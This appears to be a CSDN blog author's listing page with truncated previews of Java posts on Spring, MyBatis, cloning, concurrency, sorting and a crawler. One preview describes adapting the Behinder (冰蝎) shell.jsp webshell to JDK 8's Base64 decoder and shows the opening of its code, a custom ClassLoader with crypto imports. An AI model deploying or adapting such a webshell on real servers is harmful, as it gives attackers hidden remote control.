![](https://img-blog.csdnimg.cn/20201014180756926.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
java
sin_404
谎言的世界如果有艺术品,'没时间'一定是被观瞻的最多的一个
展开
-
冰蝎shell.jsp对jdk8编码包BASE64Decoder的改动
编码包从JKD 9开始rt.jar包已废除,从JDK 1.8开始使用java.util.Base64.Decoder<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class原创 2020-08-28 17:58:32 · 1430 阅读 · 1 评论 -
springaop拦截自定义注解,反射获取response参数
package com.example.aspect;/** * @Description: * @Author: wulh * @Date: 2020/8/7 10:59 */import com.example.annotation.Track;import com.example.util.ClassUtil;import lombok.extern.slf4j.Slf4j;import org.aspectj.lang.ProceedingJoinPoint;import .原创 2020-08-07 17:06:33 · 1372 阅读 · 0 评论 -
Content-Type数据格式对传参影响小记
1.http请求中常用的Content-Type数据格式 诸如:application/x-www-form-urlencoded、application/json、 application/xml、 现在xml格式已经用的很少了,主要就为form格式和json格式2.显示状态&特征 form格式:a=1&b=2&c=3 数...原创 2019-02-26 17:48:28 · 395 阅读 · 0 评论 -
spring+springmvc+mybatis+redis基于xml的简单配置
大概一年前入了Springboot的坑后就很少在使用xml配置项目了,springboot整合mybatis的微服务架构已经是javaEE开发的趋势。但直至今日,官方推荐的默认配置依然是基于xml和properties的,包括我工作至今所触及的大部分项目。说下个人猜测的原因吧:开始号称零配置springboot确实做到了5分钟搭建一个项目,少部分基于spring的配置通过注解实现,看上...原创 2019-01-16 18:23:30 · 958 阅读 · 2 评论 -
java克隆的一些解惑
java克隆是java中获取与原对象完全相同的另一对象的一种方法java的相关问题点:假克隆,真克隆;浅克隆,深克隆java克隆围绕的核心点: 克隆对象的内存地址是否变化java各种类型变量值传递与引用传递值传递类型:java基本类型与特殊类(类似final类String) 引用传递类型:java的大部分封装类 具体分析的其他类型变量:各种池等,不受堆栈控制的一些东西java...原创 2018-12-01 00:44:54 · 998 阅读 · 0 评论 -
java普通代码块,静态代码块和构造器在实例化时执行顺序
测试代码:public class test4 { { System.out.println(1); } static { System.out.println(2); } test4() { System.out.println("构造器"); } { System...原创 2018-11-27 16:47:06 · 346 阅读 · 0 评论 -
java并发编程等待同步实例
java可以使用CountDownLatch来控制线程并发,使得一个或多个线程等待其他线程执行到某个操作后在执行。 如图示:1.在CountDownLatch实例化的时候定义需要等待的线程count数。2.通过CountDownLatch的await方法,当count数为0时唤醒。3.每次执行完需要先执行的线程时使用countDown方法,使得count数减1,就成功实现其他线...原创 2018-10-17 10:16:08 · 428 阅读 · 0 评论 -
StringUtil编译工具
import com.google.common.hash.HashCode;import com.google.common.hash.HashFunction;import com.google.common.hash.Hashing;import org.apache.commons.codec.binary.Base64;import java.io.UnsupportedEn...原创 2018-05-31 11:02:56 · 229 阅读 · 0 评论 -
百度失信人员爬虫
package fuckTest;import com.google.gson.Gson;import org.apache.http.HttpResponse;import org.apache.http.client.HttpClient;import org.apache.http.client.methods.HttpGet;import org.apache.http.im...原创 2018-04-29 09:16:52 · 2510 阅读 · 2 评论 -
CGI和Servlet
转载自:http://www.maxhis.info/java/cgi-vs-servlet/概括来说,CGI和Servlet可以完成相同的功能。CGI(Common Gateway Interface)程序,主要用Perl、Shell Script或C编写,能够向客户端提供动态内容,即每次客户端浏览器访问某一页面时,可以看到不同的内容。CGI应用开发比较困难,因为...转载 2018-03-07 13:34:40 · 174 阅读 · 0 评论 -
数组和集合的小计
正好有时间看下数组和集合的一些挺实用的操作,在这里记载一些,下次找起来方便些。 @Test public void test() { String str = "ab"; String[] strs = {"a", "b", str}; String[] list = Arrays.copyOfRange(strs, 0, 2)原创 2018-01-08 17:43:18 · 240 阅读 · 0 评论 -
Idea和javaIO的几个知识点记录
Idea中通过pom文件导入maven中jar包快捷键:在pom文件中alt+insert;idea中pom文件经常 导入重复 的包,暂时只知道用手工删的办法javaIO流中InputStream的read方法读取的int值是字符的Unicode编码,故而可以通过强转成char的方式得到字符内容原创 2018-01-05 14:40:24 · 384 阅读 · 0 评论 -
冒泡排序、选择排序、递归排序跟快速排序
排序算法,基本的高级语言都有一些提供。C语言有qsort()函数,C++有sort()函数,java语言有Arrays类(不是Array)。用这些排序时,都可以写自己的排序规则。Java API对Arrays类的说明是:此类包含用来操作数组(比如排序和搜索)的各种方法。上面两句话话是对其他博客上的引用,不清楚是那篇了,所以就不贴地址了,其实除了数组,java对集合也有sort(...原创 2018-01-04 16:41:21 · 279 阅读 · 0 评论